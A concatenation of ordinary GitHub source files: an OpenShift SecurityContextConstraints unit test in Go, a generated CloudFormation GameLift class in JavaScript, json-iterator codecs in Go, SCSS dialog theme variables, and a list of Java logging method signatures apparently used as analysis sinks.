subjects: []kapi.ObjectReference{{Name: "one", Kind: authorizationapi.UserKind}, {Name: "two", Kind: authorizationapi.UserKind}},
expectedSCC: &securityapi.SecurityContextConstraints{},
remove: true,
},
"remove-user-from-existing-with-overlap": {
startingSCC: &securityapi.SecurityContextConstraints{Users: []string{"one", "two"}},
subjects: []kapi.ObjectReference{{Name: "two", Kind: authorizationapi.UserKind}},
expectedSCC: &securityapi.SecurityContextConstraints{Users: []string{"one"}},
remove: true,
},
"remove-sa": {
startingSCC: &securityapi.SecurityContextConstraints{Users: []string{"system:serviceaccount:a:one", "system:serviceaccount:b:two"}},
subjects: []kapi.ObjectReference{{Namespace: "a", Name: "one", Kind: authorizationapi.ServiceAccountKind}, {Namespace: "b", Name: "two", Kind: authorizationapi.ServiceAccountKind}},
expectedSCC: &securityapi.SecurityContextConstraints{},
remove: true,
},
"remove-sa-from-existing-with-overlap": {
startingSCC: &securityapi.SecurityContextConstraints{Users: []string{"system:serviceaccount:a:one", "system:serviceaccount:b:two"}},
subjects: []kapi.ObjectReference{{Namespace: "b", Name: "two", Kind: authorizationapi.ServiceAccountKind}},
expectedSCC: &securityapi.SecurityContextConstraints{Users: []string{"system:serviceaccount:a:one"}},
remove: true,
},
"remove-group": {
startingSCC: &securityapi.SecurityContextConstraints{Groups: []string{"one", "two"}},
subjects: []kapi.ObjectReference{{Name: "one", Kind: authorizationapi.GroupKind}, {Name: "two", Kind: authorizationapi.GroupKind}},
expectedSCC: &securityapi.SecurityContextConstraints{},
remove: true,
},
"remove-group-from-existing-with-overlap": {
startingSCC: &securityapi.SecurityContextConstraints{Groups: []string{"one", "two"}},
subjects: []kapi.ObjectReference{{Name: "two", Kind: authorizationapi.GroupKind}},
expectedSCC: &securityapi.SecurityContextConstraints{Groups: []string{"one"}},
remove: true,
},
}
for tcName, tc := range tests {
fakeClient := securityfakeclient.NewSimpleClientset()
fakeClient.Fake.PrependReactor("get", "securitycontextconstraints", func(action clientgotesting.Action) (handled bool, ret runtime.Object, err error) {
return true, tc.startingSCC, nil
})
var actualSCC *securityapi.SecurityContextConstraints
fakeClient.Fake.PrependReactor("update", "securitycontextconstraints", func(action clientgotesting.Action) (handled bool, ret runtime.Object, err error) {
actualSCC = action.(clientgotesting.UpdateAction).GetObject().(*securityapi.SecurityContextConstraints)
return true, actualSCC, nil
})
o := &SCCModificationOptions{
SCCName: "foo",
SCCInterface: fakeClient.Security().SecurityContextConstraints(),
DefaultSubjectNamespace: "",
Subjects: tc.subjects,
Out: &bytes.Buffer{},
}
var err error
if tc.remove {
err = o.RemoveSCC()
} else {
err = o.AddSCC()
}
if err != nil {
t.Errorf("%s: unexpected err %v", tcName, err)
}
if e, a := tc.expectedSCC.Users, actualSCC.Users; !reflect.DeepEqual(e, a) {
t.Errorf("%s: expected %v, actual %v", tcName, e, a)
}
if e, a := tc.expectedSCC.Groups, actualSCC.Groups; !reflect.DeepEqual(e, a) {
t.Errorf("%s: expected %v, actual %v", tcName, e, a)
}
}
}
|
{
"pile_set_name": "Github"
}
|
"use strict";
/* Generated from:
* ap-northeast-1 (https://d33vqc0rt9ld30.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* ap-northeast-2 (https://d1ane3fvebulky.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* ap-south-1 (https://d2senuesg1djtx.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* ap-southeast-1 (https://doigdx0kgq9el.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* ap-southeast-2 (https://d2stg8d246z9di.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* ca-central-1 (https://d2s8ygphhesbe7.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* eu-central-1 (https://d1mta8qj7i28i2.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* eu-west-1 (https://d3teyb21fexa9r.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* eu-west-2 (https://d1742qcu2c1ncx.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* sa-east-1 (https://d3c9jyj3w509b0.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* us-east-1 (https://d1uauaxba7bl26.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* us-east-2 (https://dnwj8swjjbsbt.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* us-west-1 (https://d68hl49wbnanq.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* us-west-2 (https://d201a2mn26r7lk.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0
*/
Object.defineProperty(exports, "__esModule", { value: true });
const resource_1 = require("../resource");
class S3Location {
constructor(properties) {
Object.assign(this, properties);
}
}
exports.S3Location = S3Location;
class Script extends resource_1.ResourceBase {
constructor(properties) {
super('AWS::GameLift::Script', properties);
}
}
exports.default = Script;
Script.S3Location = S3Location;
|
{
"pile_set_name": "Github"
}
|
package jsoniter
import (
"encoding/base64"
"reflect"
"strconv"
"unsafe"
"github.com/modern-go/reflect2"
)
const ptrSize = 32 << uintptr(^uintptr(0)>>63)
func createEncoderOfNative(ctx *ctx, typ reflect2.Type) ValEncoder {
if typ.Kind() == reflect.Slice && typ.(reflect2.SliceType).Elem().Kind() == reflect.Uint8 {
sliceDecoder := decoderOfSlice(ctx, typ)
return &base64Codec{sliceDecoder: sliceDecoder}
}
typeName := typ.String()
kind := typ.Kind()
switch kind {
case reflect.String:
if typeName != "string" {
return encoderOfType(ctx, reflect2.TypeOfPtr((*string)(nil)).Elem())
}
return &stringCodec{}
case reflect.Int:
if typeName != "int" {
return encoderOfType(ctx, reflect2.TypeOfPtr((*int)(nil)).Elem())
}
if strconv.IntSize == 32 {
return &int32Codec{}
}
return &int64Codec{}
case reflect.Int8:
if typeName != "int8" {
return encoderOfType(ctx, reflect2.TypeOfPtr((*int8)(nil)).Elem())
}
return &int8Codec{}
case reflect.Int16:
if typeName != "int16" {
return encoderOfType(ctx, reflect2.TypeOfPtr((*int16)(nil)).Elem())
}
return &int16Codec{}
case reflect.Int32:
if typeName != "int32" {
return encoderOfType(ctx, reflect2.TypeOfPtr((*int32)(nil)).Elem())
}
return &int32Codec{}
case reflect.Int64:
if typeName != "int64" {
return encoderOfType(ctx, reflect2.TypeOfPtr((*int64)(nil)).Elem())
}
return &int64Codec{}
case reflect.Uint:
if typeName != "uint" {
return encoderOfType(ctx, reflect2.TypeOfPtr((*uint)(nil)).Elem())
}
if strconv.IntSize == 32 {
return &uint32Codec{}
}
return &uint64Codec{}
case reflect.Uint8:
if typeName != "uint8" {
return encoderOfType(ctx, reflect2.TypeOfPtr((*uint8)(nil)).Elem())
}
return &uint8Codec{}
case reflect.Uint16:
if typeName != "uint16" {
return encoderOfType(ctx, reflect2.TypeOfPtr((*uint16)(nil)).Elem())
}
return &uint16Codec{}
case reflect.Uint32:
if typeName != "uint32" {
return encoderOfType(ctx, reflect2.TypeOfPtr((*uint32)(nil)).Elem())
}
return &uint32Codec{}
case reflect.Uintptr:
if typeName != "uintptr" {
return encoderOfType(ctx, reflect2.TypeOfPtr((*uintptr)(nil)).Elem())
}
if ptrSize == 32 {
return &uint32Codec{}
}
return &uint64Codec{}
case reflect.Uint64:
if typeName != "uint64" {
return encoderOfType(ctx, reflect2.TypeOfPtr((*uint64)(nil)).Elem())
}
return &uint64Codec{}
case reflect.Float32:
if typeName != "float32" {
return encoderOfType(ctx, reflect2.TypeOfPtr((*float32)(nil)).Elem())
}
return &float32Codec{}
case reflect.Float64:
if typeName != "float64" {
return encoderOfType(ctx, reflect2.TypeOfPtr((*float64)(nil)).Elem())
}
return &float64Codec{}
case reflect.Bool:
if typeName != "bool" {
return encoderOfType(ctx, reflect2.TypeOfPtr((*bool)(nil)).Elem())
}
return &boolCodec{}
}
return nil
}
func createDecoderOfNative(ctx *ctx, typ reflect2.Type) ValDecoder {
if typ.Kind() == reflect.Slice && typ.(reflect2.SliceType).Elem().Kind() == reflect.Uint8 {
sliceDecoder := decoderOfSlice(ctx, typ)
return &base64Codec{sliceDecoder: sliceDecoder}
}
typeName := typ.String()
switch typ.Kind() {
case reflect.String:
if typeName != "string" {
return decoderOfType(ctx, reflect2.TypeOfPtr((*string)(nil)).Elem())
}
return &stringCodec{}
case reflect.Int:
if typeName != "int" {
return decoderOfType(ctx, reflect2.TypeOfPtr((*int)(nil)).Elem())
}
if strconv.IntSize == 32 {
return &int32Codec{}
}
return &int64Codec{}
case reflect.Int8:
if typeName != "int8" {
return decoderOfType(ctx, reflect2.TypeOfPtr((*int8)(nil)).Elem())
}
return &int8Codec{}
case reflect.Int16:
if typeName != "int16" {
return decoderOfType(ctx, reflect2.TypeOfPtr((*int16)(nil)).Elem())
}
return &int16Codec{}
case reflect.Int32:
if typeName != "int32" {
return decoderOfType(ctx, reflect2.TypeOfPtr((*int32)(nil)).Elem())
}
return &int32Codec{}
case reflect.Int64:
if typeName != "int64" {
return decoderOfType(ctx, reflect2.TypeOfPtr((*int64)(nil)).Elem())
}
return &int64Codec{}
case reflect.Uint:
if typeName != "uint" {
return decoderOfType(ctx, reflect2.TypeOfPtr((*uint)(nil)).Elem())
}
if strconv.IntSize == 32 {
return &uint32Codec{}
}
return &uint64Codec{}
case reflect.Uint8:
if typeName != "uint8" {
return decoderOfType(ctx, reflect2.TypeOfPtr((*uint8)(nil)).Elem())
}
return &uint8Codec{}
case reflect.Uint16:
if typeName != "uint16" {
return decoderOfType(ctx, reflect2.TypeOfPtr((*uint16)(nil)).Elem())
}
return &uint16Codec{}
case reflect.Uint32:
if typeName != "uint32" {
return decoderOfType(ctx, reflect2.TypeOfPtr((*uint32)(nil)).Elem())
}
return &uint32Codec{}
case reflect.Uintptr:
if typeName != "uintptr" {
return decoderOfType(ctx, reflect2.TypeOfPtr((*uintptr)(nil)).Elem())
}
if ptrSize == 32 {
return &uint32Codec{}
}
return &uint64Codec{}
case reflect.Uint64:
if typeName != "uint64" {
return decoderOfType(ctx, reflect2.TypeOfPtr((*uint64)(nil)).Elem())
}
return &uint64Codec{}
case reflect.Float32:
if typeName != "float32" {
return decoderOfType(ctx, reflect2.TypeOfPtr((*float32)(nil)).Elem())
}
return &float32Codec{}
case reflect.Float64:
if typeName != "float64" {
return decoderOfType(ctx, reflect2.TypeOfPtr((*float64)(nil)).Elem())
}
return &float64Codec{}
case reflect.Bool:
if typeName != "bool" {
return decoderOfType(ctx, reflect2.TypeOfPtr((*bool)(nil)).Elem())
}
return &boolCodec{}
}
return nil
}
type stringCodec struct {
}
func (codec *stringCodec) Decode(ptr unsafe.Pointer, iter *Iterator) {
*((*string)(ptr)) = iter.ReadString()
}
func (codec *stringCodec) Encode(ptr unsafe.Pointer, stream *Stream) {
str := *((*string)(ptr))
stream.WriteString(str)
}
func (codec *stringCodec) IsEmpty(ptr unsafe.Pointer) bool {
return *((*string)(ptr)) == ""
}
type int8Codec struct {
}
func (codec *int8Codec) Decode(ptr unsafe.Pointer, iter *Iterator) {
if !iter.ReadNil() {
*((*int8)(ptr)) = iter.ReadInt8()
}
}
func (codec *int8Codec) Encode(ptr unsafe.Pointer, stream *Stream) {
stream.WriteInt8(*((*int8)(ptr)))
}
func (codec *int8Codec) IsEmpty(ptr unsafe.Pointer) bool {
return *((*int8)(ptr)) == 0
}
type int16Codec struct {
}
func (codec *int16Codec) Decode(ptr unsafe.Pointer, iter *Iterator) {
if !iter.ReadNil() {
*((*int16)(ptr)) = iter.ReadInt16()
}
}
func (codec *int16Codec) Encode(ptr unsafe.Pointer, stream *Stream) {
stream.WriteInt16(*((*int16)(ptr)))
}
func (codec *int16Codec) IsEmpty(ptr unsafe.Pointer) bool {
return *((*int16)(ptr)) == 0
}
type int32Codec struct {
}
func (codec *int32Codec) Decode(ptr unsafe.Pointer, iter *Iterator) {
if !iter.ReadNil() {
*((*int32)(ptr)) = iter.ReadInt32()
}
}
func (codec *int32Codec) Encode(ptr unsafe.Pointer, stream *Stream) {
stream.WriteInt32(*((*int32)(ptr)))
}
func (codec *int32Codec) IsEmpty(ptr unsafe.Pointer) bool {
return *((*int32)(ptr)) == 0
}
type int64Codec struct {
}
func (codec *int64Codec) Decode(ptr unsafe.Pointer, iter *Iterator) {
if !iter.ReadNil() {
*((*int64)(ptr)) = iter.ReadInt64()
}
}
func (codec *int64Codec) Encode(ptr unsafe.Pointer, stream *Stream) {
stream.WriteInt64(*((*int64)(ptr)))
}
func (codec *int64Codec) IsEmpty(ptr unsafe.Pointer) bool {
return *((*int64)(ptr)) == 0
}
type uint8Codec struct {
}
func (codec *uint8Codec) Decode(ptr unsafe.Pointer, iter *Iterator) {
if !iter.ReadNil() {
*((*uint8)(ptr)) = iter.ReadUint8()
}
}
func (codec *uint8Codec) Encode(ptr unsafe.Pointer, stream *Stream) {
stream.WriteUint8(*((*uint8)(ptr)))
}
func (codec *uint8Codec) IsEmpty(ptr unsafe.Pointer) bool {
return *((*uint8)(ptr)) == 0
}
type uint16Codec struct {
}
func (codec *uint16Codec) Decode(ptr unsafe.Pointer, iter *Iterator) {
if !iter.ReadNil() {
*((*uint16)(ptr)) = iter.ReadUint16()
}
}
func (codec *uint16Codec) Encode(ptr unsafe.Pointer, stream *Stream) {
stream.WriteUint16(*((*uint16)(ptr)))
}
func (codec *uint16Codec) IsEmpty(ptr unsafe.Pointer) bool {
return *((*uint16)(ptr)) == 0
}
type uint32Codec struct {
}
func (codec *uint32Codec) Decode(ptr unsafe.Pointer, iter *Iterator) {
if !iter.ReadNil() {
*((*uint32)(ptr)) = iter.ReadUint32()
}
}
func (codec *uint32Codec) Encode(ptr unsafe.Pointer, stream *Stream) {
stream.WriteUint32(*((*uint32)(ptr)))
}
func (codec *uint32Codec) IsEmpty(ptr unsafe.Pointer) bool {
return *((*uint32)(ptr)) == 0
}
type uint64Codec struct {
}
func (codec *uint64Codec) Decode(ptr unsafe.Pointer, iter *Iterator) {
if !iter.ReadNil() {
*((*uint64)(ptr)) = iter.ReadUint64()
}
}
func (codec *uint64Codec) Encode(ptr unsafe.Pointer, stream *Stream) {
stream.WriteUint64(*((*uint64)(ptr)))
}
func (codec *uint64Codec) IsEmpty(ptr unsafe.Pointer) bool {
return *((*uint64)(ptr)) == 0
}
type float32Codec struct {
}
func (codec *float32Codec) Decode(ptr unsafe.Pointer, iter *Iterator) {
if !iter.ReadNil() {
*((*float32)(ptr)) = iter.ReadFloat32()
}
}
func (codec *float32Codec) Encode(ptr unsafe.Pointer, stream *Stream) {
stream.WriteFloat32(*((*float32)(ptr)))
}
func (codec *float32Codec) IsEmpty(ptr unsafe.Pointer) bool {
return *((*float32)(ptr)) == 0
}
type float64Codec struct {
}
func (codec *float64Codec) Decode(ptr unsafe.Pointer, iter *Iterator) {
if !iter.ReadNil() {
*((*float64)(ptr)) = iter.ReadFloat64()
}
}
func (codec *float64Codec) Encode(ptr unsafe.Pointer, stream *Stream) {
stream.WriteFloat64(*((*float64)(ptr)))
}
func (codec *float64Codec) IsEmpty(ptr unsafe.Pointer) bool {
return *((*float64)(ptr)) == 0
}
type boolCodec struct {
}
func (codec *boolCodec) Decode(ptr unsafe.Pointer, iter *Iterator) {
if !iter.ReadNil() {
*((*bool)(ptr)) = iter.ReadBool()
}
}
func (codec *boolCodec) Encode(ptr unsafe.Pointer, stream *Stream) {
stream.WriteBool(*((*bool)(ptr)))
}
func (codec *boolCodec) IsEmpty(ptr unsafe.Pointer) bool {
return !(*((*bool)(ptr)))
}
type base64Codec struct {
sliceType *reflect2.UnsafeSliceType
sliceDecoder ValDecoder
}
func (codec *base64Codec) Decode(ptr unsafe.Pointer, iter *Iterator) {
if iter.ReadNil() {
codec.sliceType.UnsafeSetNil(ptr)
return
}
switch iter.WhatIsNext() {
case StringValue:
src := iter.ReadString()
dst, err := base64.StdEncoding.DecodeString(src)
if err != nil {
iter.ReportError("decode base64", err.Error())
} else {
codec.sliceType.UnsafeSet(ptr, unsafe.Pointer(&dst))
}
case ArrayValue:
codec.sliceDecoder.Decode(ptr, iter)
default:
iter.ReportError("base64Codec", "invalid input")
}
}
func (codec *base64Codec) Encode(ptr unsafe.Pointer, stream *Stream) {
src := *((*[]byte)(ptr))
if len(src) == 0 {
stream.WriteNil()
return
}
encoding := base64.StdEncoding
stream.writeByte('"')
size := encoding.EncodedLen(len(src))
buf := make([]byte, size)
encoding.Encode(buf, src)
stream.buf = append(stream.buf, buf...)
stream.writeByte('"')
}
func (codec *base64Codec) IsEmpty(ptr unsafe.Pointer) bool {
return len(*((*[]byte)(ptr))) == 0
}
|
{
"pile_set_name": "Github"
}
|
$dialog-btn-bg-bgcolor: transparent !default;
$dialog-btn-box-shadow: none !default;
$dialog-bg-color: $grey-white !default;
$dialog-icon-color: rgba($base-font, .5) !default;
$dialog-active-icon-color: rgba($base-font, .8) !default;
$dialog-close-icon-normal-opacity: initial !default;
$dialog-close-icon-active-opacity: initial !default;
$dialog-close-button-left: 0 !default;
$dialog-close-button-right: -4px !default;
$dialog-header-border: 1px solid $grey-e6 !default;
$dialog-close-icon-font-size: 12px !default;
$dialog-close-icon-button-padding: 0 13px !default;
$dialog-bigger-close-icon-button-padding: 0 2px !default;
$dialog-bigger-close-icon-font-size: 12px !default;
$dialog-hover-icon-color: $base-font !default;
$dialog-icon-bg-normal: transparent !default;
$dialog-header-bg-color: $grey-white !default;
$dialog-content-bg-color: $grey-white !default;
$dialog-footer-bg-color: $grey-white !default;
$dialog-shadow-color: 0 5px 15px rgba($shadow, .5) !default;
$dialog-header-font-size: 18px !default;
$dialog-header-font-weight: 500 !default;
$dialog-header-font-color: $grey-dark !default;
$footer-content-border-radius: 6px !default;
$header-content-border-radius: 6px 6px 0 0 !default;
$dialog-border: 1px solid $grey-99 !default;
$dialog-content-font-size: 14px !default;
$dialog-header-line-height: 1.25 !default;
$dialog-content-line-height: 1.25 !default;
$dialog-content-padding-top: 15px !default;
$dialog-bigger-content-padding-top: 18.75px !default;
$dialog-content-font-weight: 300 !default;
$dialog-device-content-font-size: 15px !default;
$dialog-content-font-color: $grey-dark !default;
$dialog-border-radius: 6px !default;
$dialog-headericon-border-radius: 50% !default;
$dialog-overlay-bg-color: #383838 !default;
$dialog-overlay-opacity: .5 !default;
$dialog-closeicon-btn-hover-color: transparent !default;
$dialog-closeicon-btn-active-color: transparent !default;
$dialog-close-button-height: 20px !default;
$dialog-close-button-width: 20px !default;
$dialog-header-content-padding: 15px !default;
$dialog-content-padding: 15px !default;
$dialog-footer-content-padding: 15px !default;
$dialog-footer-content-border-top: 1px solid $grey-e6 !default;
$dialog-bigger-header-content-padding: 18.75px !default;
$dialog-bigger-content-padding: 18.75px !default;
$dialog-bigger-footer-content-padding: 18.75px !default;
$dialog-bigger-footer-button-margin-left: 10px !default;
$dialog-footer-button-margin-left: 8px !default;
$dialog-footer-button-margin-right: 8px !default;
$dialog-bigger-footer-button-margin-right: 10px !default;
$dialog-close-icon-margin-left: -7px !default;
$dialog-close-icon-height: 16px !default;
$dialog-close-icon-width: 12px !default;
$dialog-bigger-close-icon-height: 16px !default;
$dialog-bigger-close-icon-width: 12px !default;
$dialog-close-icon-top: -4px !default;
$dialog-bigger-header-content-font-size: 18px !default;
$dialog-bigger-content-font-size: 14px !default;
$dialog-bigger-close-icon-top: -5px !default;
$dialog-bigger-close-icon-margin-left: -8px !default;
$dialog-bigger-close-icon-margin-right: -1px !default;
$dialog-bigger-close-button-bottom: 7px !default;
$dialog-bigger-close-button-height: 25px !default;
$dialog-bigger-close-button-left: 0 !default;
$dialog-bigger-close-button-width: 25px !default;
$dialog-btn-border-color: transparent !default;
$dialog-btn-bg-color: transparent !default;
$dialog-active-btn-border-color: transparent !default;
$dialog-active-btn-bg-color: transparent !default;
$dialog-headericon-bottom: 5px !default;
$dialog-resize-handler-width: 15px;
$dialog-resize-handler-height: 15px;
$dialog-resize-handler-position: 0;
$resize-hanlder-bottom-rtl: 2px;
|
{
"pile_set_name": "Github"
}
|
java/util/logging/Logger.config(Ljava/lang/String;)V:0
java/util/logging/Logger.entering(Ljava/lang/String;Ljava/lang/String;)V:0,1
java/util/logging/Logger.entering(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Object;)V:0,1,2
java/util/logging/Logger.entering(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/Object;)V:0,1,2
java/util/logging/Logger.exiting(Ljava/lang/String;Ljava/lang/String;)V:0,1
java/util/logging/Logger.exiting(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Object;)V:0,1,2
java/util/logging/Logger.fine(Ljava/lang/String;)V:0
java/util/logging/Logger.finer(Ljava/lang/String;)V:0
java/util/logging/Logger.finest(Ljava/lang/String;)V:0
java/util/logging/Logger.info(Ljava/lang/String;)V:0
java/util/logging/Logger.log(Ljava/util/logging/Level;Ljava/lang/String;)V:0
java/util/logging/Logger.log(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/Object;)V:0,1
java/util/logging/Logger.log(Ljava/util/logging/Level;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
java/util/logging/Logger.log(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/Throwable;)V:1
java/util/logging/Logger.logp(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V:0,1,2
java/util/logging/Logger.logp(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/Object;)V:0,1,2,3
java/util/logging/Logger.logp(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/Object;)V:0,1,2,3
java/util/logging/Logger.logp(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V:1,2,3
java/util/logging/Logger.logp(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/String;Ljava/util/function/Supplier;)V:1,2
java/util/logging/Logger.logp(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;Ljava/util/function/Supplier;)V:2,3
java/util/logging/Logger.logrb(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/String;Ljava/util/ResourceBundle;Ljava/lang/String;[Ljava/lang/Object;)V:0,1,3,4
java/util/logging/Logger.logrb(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/String;Ljava/util/ResourceBundle;Ljava/lang/String;Ljava/lang/Throwable;)V:1,3,4
java/util/logging/Logger.logrb(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V:0,2,3
java/util/logging/Logger.logrb(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/Object;)V:0,1,3,4
java/util/logging/Logger.logrb(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/Object;)V:0,1,3,4
java/util/logging/Logger.logrb(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V:1,3,4
java/util/logging/Logger.severe(Ljava/lang/String;)V:0
java/util/logging/Logger.throwing(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V:1,2
java/util/logging/Logger.warning(Ljava/lang/String;)V:0
org/apache/commons/logging/Log.debug(Ljava/lang/Object;)V:0
org/apache/commons/logging/Log.debug(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/commons/logging/Log.error(Ljava/lang/Object;)V:0
org/apache/commons/logging/Log.error(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/commons/logging/Log.fatal(Ljava/lang/Object;)V:0
org/apache/commons/logging/Log.fatal(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/commons/logging/Log.info(Ljava/lang/Object;)V:0
org/apache/commons/logging/Log.info(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/commons/logging/Log.trace(Ljava/lang/Object;)V:0
org/apache/commons/logging/Log.trace(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/commons/logging/Log.warn(Ljava/lang/Object;)V:0
org/apache/commons/logging/Log.warn(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/slf4j/Logger.debug(Lorg/slf4j/Marker;Ljava/lang/String;)V:0
org/slf4j/Logger.debug(Lorg/slf4j/Marker;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/slf4j/Logger.debug(Lorg/slf4j/Marker;Ljava/lang/String;Ljava/lang/Object;)V:0,1
org/slf4j/Logger.debug(Lorg/slf4j/Marker;Ljava/lang/String;Ljava/lang/Object;Ljava/lang/Object;)V:0,1,2
org/slf4j/Logger.debug(Lorg/slf4j/Marker;Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/slf4j/Logger.debug(Ljava/lang/String;)V:0
org/slf4j/Logger.debug(Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/slf4j/Logger.debug(Ljava/lang/String;Ljava/lang/Object;)V:0,1
org/slf4j/Logger.debug(Ljava/lang/String;Ljava/lang/Object;Ljava/lang/Object;)V:0,1,2
org/slf4j/Logger.debug(Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/slf4j/Logger.error(Lorg/slf4j/Marker;Ljava/lang/String;)V:0
org/slf4j/Logger.error(Lorg/slf4j/Marker;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/slf4j/Logger.error(Lorg/slf4j/Marker;Ljava/lang/String;Ljava/lang/Object;)V:0,1
org/slf4j/Logger.error(Lorg/slf4j/Marker;Ljava/lang/String;Ljava/lang/Object;Ljava/lang/Object;)V:0,1,2
org/slf4j/Logger.error(Lorg/slf4j/Marker;Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/slf4j/Logger.error(Ljava/lang/String;)V:0
org/slf4j/Logger.error(Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/slf4j/Logger.error(Ljava/lang/String;Ljava/lang/Object;)V:0,1
org/slf4j/Logger.error(Ljava/lang/String;Ljava/lang/Object;Ljava/lang/Object;)V:0,1,2
org/slf4j/Logger.error(Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/slf4j/Logger.info(Lorg/slf4j/Marker;Ljava/lang/String;)V:0
org/slf4j/Logger.info(Lorg/slf4j/Marker;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/slf4j/Logger.info(Lorg/slf4j/Marker;Ljava/lang/String;Ljava/lang/Object;)V:0,1
org/slf4j/Logger.info(Lorg/slf4j/Marker;Ljava/lang/String;Ljava/lang/Object;Ljava/lang/Object;)V:0,1,2
org/slf4j/Logger.info(Lorg/slf4j/Marker;Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/slf4j/Logger.info(Ljava/lang/String;)V:0
org/slf4j/Logger.info(Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/slf4j/Logger.info(Ljava/lang/String;Ljava/lang/Object;)V:0,1
org/slf4j/Logger.info(Ljava/lang/String;Ljava/lang/Object;Ljava/lang/Object;)V:0,1,2
org/slf4j/Logger.info(Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/slf4j/Logger.trace(Lorg/slf4j/Marker;Ljava/lang/String;)V:0
org/slf4j/Logger.trace(Lorg/slf4j/Marker;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/slf4j/Logger.trace(Lorg/slf4j/Marker;Ljava/lang/String;Ljava/lang/Object;)V:0,1
org/slf4j/Logger.trace(Lorg/slf4j/Marker;Ljava/lang/String;Ljava/lang/Object;Ljava/lang/Object;)V:0,1,2
org/slf4j/Logger.trace(Lorg/slf4j/Marker;Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/slf4j/Logger.trace(Ljava/lang/String;)V:0
org/slf4j/Logger.trace(Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/slf4j/Logger.trace(Ljava/lang/String;Ljava/lang/Object;)V:0,1
org/slf4j/Logger.trace(Ljava/lang/String;Ljava/lang/Object;Ljava/lang/Object;)V:0,1,2
org/slf4j/Logger.trace(Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/slf4j/Logger.warn(Lorg/slf4j/Marker;Ljava/lang/String;)V:0
org/slf4j/Logger.warn(Lorg/slf4j/Marker;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/slf4j/Logger.warn(Lorg/slf4j/Marker;Ljava/lang/String;Ljava/lang/Object;)V:0,1
org/slf4j/Logger.warn(Lorg/slf4j/Marker;Ljava/lang/String;Ljava/lang/Object;Ljava/lang/Object;)V:0,1,2
org/slf4j/Logger.warn(Lorg/slf4j/Marker;Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/slf4j/Logger.warn(Ljava/lang/String;)V:0
org/slf4j/Logger.warn(Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/slf4j/Logger.warn(Ljava/lang/String;Ljava/lang/Object;)V:0,1
org/slf4j/Logger.warn(Ljava/lang/String;Ljava/lang/Object;Ljava/lang/Object;)V:0,1,2
org/slf4j/Logger.warn(Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.debug(Lorg/apache/logging/log4j/Marker;Ljava/lang/Object;)V:0
org/apache/logging/log4j/Logger.debug(Lorg/apache/logging/log4j/Marker;Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.debug(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;)V:0
